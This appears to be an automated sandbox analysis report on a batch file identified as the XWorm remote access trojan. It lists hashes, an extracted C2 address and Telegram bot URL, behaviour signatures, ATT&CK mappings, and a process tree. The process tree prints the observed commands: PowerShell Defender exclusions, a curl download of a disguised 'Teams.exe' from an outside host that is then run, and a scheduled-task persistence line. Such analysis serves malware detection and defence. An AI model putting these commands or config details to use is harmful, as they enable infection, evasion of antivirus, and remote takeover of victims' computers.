Analysis

  • max time kernel
    144s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30-06-2024 03:08

General

  • Target

    xplor.bat

  • Size

    67KB

  • MD5

    e73ebec54986581fbbd93963e1fbf6b1

  • SHA1

    2981273cb4df5c03e997f25ca217a1368e9e0635

  • SHA256

    e7551b81392e6e047d087d496b8a26443cb83074a1f93a448e207bdc81d0487a

  • SHA512

    b1a1bc06b9ca737d4b3feb78d7e97e42ede7b8df81e48bab0354419bd65a143438154e6e68a2d8a061a21ecc4d41e6fc7730699b822d2c9dc646198f1158801b

  • SSDEEP

    48:+HEIFOhNg8Mh0vULQyDzPMdFijnH6HCRYglCtiJOTOTOTOTOTOTOTOTOTOTOTOTt:+HEIFOhS8S0OQyZrH6viyKCCFX

Malware Config

Extracted

Family

xworm

C2

193.161.193.99:46625

Attributes
  • Install_directory

    %AppData%

  • install_file

    Teams.exe

  • telegram

    https://api.telegram.org/bot7251026627:AAFe7iqGz4Cd2IluTlmdghq0XQUzAYL6FpY

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2056
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat" null firstrun
      2⤵
        PID:2280
      • C:\Windows\system32\net.exe
        NET FILE
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1340
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 FILE
          3⤵
            PID:5076
        • C:\Windows\system32\cmd.exe
          cmd /c "C:\Users\Admin\AppData\Local\Temp\xplor.bat" skipuac firstrun
          2⤵
            PID:3360
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2096
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4552
          • C:\Windows\system32\curl.exe
            curl -s -o Teams.exe https://dl.discreetshare.com/667ef2c76812d9b627df4e35
            2⤵
              PID:4436
            • C:\Users\Admin\AppData\Local\Temp\Teams.exe
              Teams.exe
              2⤵
              • Drops startup file
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2956
              • C:\Windows\System32\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Teams" /tr "C:\Users\Admin\AppData\Roaming\Teams.exe"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:448
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c findstr /b ::: "C:\Users\Admin\AppData\Local\Temp\xplor.bat"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1180
              • C:\Windows\system32\findstr.exe
                findstr /b ::: "C:\Users\Admin\AppData\Local\Temp\xplor.bat"
                3⤵
                  PID:2896
              • C:\Windows\system32\timeout.exe
                timeout 2
                2⤵
                • Delays execution with timeout.exe
                PID:756
            • C:\Users\Admin\AppData\Roaming\Teams.exe
              C:\Users\Admin\AppData\Roaming\Teams.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1332
            • C:\Users\Admin\AppData\Roaming\Teams.exe
              C:\Users\Admin\AppData\Roaming\Teams.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3220
            • C:\Users\Admin\AppData\Roaming\Teams.exe
              C:\Users\Admin\AppData\Roaming\Teams.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4672

            Network

            MITRE ATT&CK Matrix ATT&CK v13

            Execution

            Command and Scripting Interpreter

            1
            T1059

            PowerShell

            1
            T1059.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Modify Registry

            1
            T1112

            Discovery

            System Information Discovery

            1
            T1082

            Query Registry

            1
            T1012

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Teams.exe.log
              Filesize

              654B

              MD5

              2cbbb74b7da1f720b48ed31085cbd5b8

              SHA1

              79caa9a3ea8abe1b9c4326c3633da64a5f724964

              SHA256

              e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

              SHA512

              ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              627073ee3ca9676911bee35548eff2b8

              SHA1

              4c4b68c65e2cab9864b51167d710aa29ebdcff2e

              SHA256

              85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

              SHA512

              3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              1a9fa92a4f2e2ec9e244d43a6a4f8fb9

              SHA1

              9910190edfaccece1dfcc1d92e357772f5dae8f7

              SHA256

              0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

              SHA512

              5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

            • C:\Users\Admin\AppData\Local\Temp\Teams.exe
              Filesize

              173KB

              MD5

              a3b6d62803572915891a21d0517b10ae

              SHA1

              fe76c654b5e598733c0e04d65a6f114ab7099f58

              SHA256

              36f07e44f833615b17e74b64a4734a6e7c302dd1f97827d46bd913e8f79517ec

              SHA512

              8b29099ab473a5a028ba19738adc1cd73d29df65eaf0057d89db160ead6336f7565b576b2f0311db15a75c0f586a07f7b2f1a12b011a53ec717c1ebbce1daa16

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qnjwu4q.qw1.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/2096-10-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp
              Filesize

              10.8MB

            • memory/2096-13-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp
              Filesize

              10.8MB

            • memory/2096-16-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp
              Filesize

              10.8MB

            • memory/2096-12-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp
              Filesize

              10.8MB

            • memory/2096-11-0x00007FF9482D0000-0x00007FF948D92000-memory.dmp
              Filesize

              10.8MB

            • memory/2096-0-0x00007FF9482D3000-0x00007FF9482D5000-memory.dmp
              Filesize

              8KB

            • memory/2096-9-0x0000021FF5C10000-0x0000021FF5C32000-memory.dmp
              Filesize

              136KB

            • memory/2956-32-0x0000000000BB0000-0x0000000000BE2000-memory.dmp
              Filesize

              200KB